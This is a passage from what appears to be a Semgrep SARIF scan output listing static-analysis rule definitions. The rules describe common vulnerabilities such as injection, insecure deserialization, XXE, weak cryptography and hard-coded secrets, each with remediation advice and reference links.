IMMUTABLE."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","id":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","name":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector)\n - [https://cwe.mitre.org/data/definitions/329.html](https://cwe.mitre.org/data/definitions/329.html)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","id":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","name":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","id":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","name":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","id":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","name":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","id":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","name":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"help":{"markdown":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"helpUri":"https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql","id":"python.django.security.audit.raw-query.avoid-raw-sql","name":"python.django.security.audit.raw-query.avoid-raw-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.raw-query.avoid-raw-sql"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec","id":"python.lang.security.dangerous-os-exec.dangerous-os-exec","name":"python.lang.security.dangerous-os-exec.dangerous-os-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-os-exec.dangerous-os-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"help":{"markdown":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"help":{"markdown":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","id":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","name":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","id":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","name":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","id":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","name":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-none-alg.java-jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"help":{"markdown":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"helpUri":"https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1","id":"javascript.jssha.jssha-sha1.jssha-sha1","name":"javascript.jssha.jssha-sha1.jssha-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jssha.jssha-sha1.jssha-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","id":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","name":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"help":{"markdown":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sh.security.string-concat.string-concat)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"helpUri":"https://semgrep.dev/r/python.sh.security.string-concat.string-concat","id":"python.sh.security.string-concat.string-concat","name":"python.sh.security.string-concat.string-concat","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sh.security.string-concat.string-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"help":{"markdown":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text)\n 